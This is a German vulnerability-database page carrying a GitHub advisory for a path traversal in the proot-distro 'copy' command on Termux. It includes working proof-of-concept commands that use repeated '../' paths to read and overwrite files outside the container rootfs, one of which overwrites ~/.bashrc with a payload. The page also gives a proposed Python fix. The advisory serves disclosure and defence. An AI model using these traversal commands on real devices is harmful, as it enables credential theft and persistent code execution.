Mittel

PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

  • Veröffentlicht: 17.07.2026
  • Aktualisiert: 11.10.2026 14:18
<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>
Component Version
proot-distro 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)
Test distro Ubuntu 25.10 "Questing Quokka" (ubuntu alias)
Architecture aarch64
Device Samsung A23
Package source https://packages-cf.termux.dev/apt/termux-main stable/main aarch64
<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt

proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt

proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os

def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre>

<p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) proot-distro < 5.1.0 5.1.0

Verweise

CVSS-Wert 6.6/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Schwäche (CWE)
CWE-22
Plattform
Python (PyPI)
Paket
proot-distro
Veröffentlicht
17.07.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-mfr4-mq8w-vmg6 - CC BY 4.0

Schwachstellenhistorie: proot-distro

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
07.2026 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2
  • Mittel 1

Veröffentlichungen pro Jahr

  1. 2026: 3
  1. PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs dieser Eintrag
    Mittel · 6.6 ghsa-mfr4-mq8w-vmg6 < 5.1.0 5.1.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.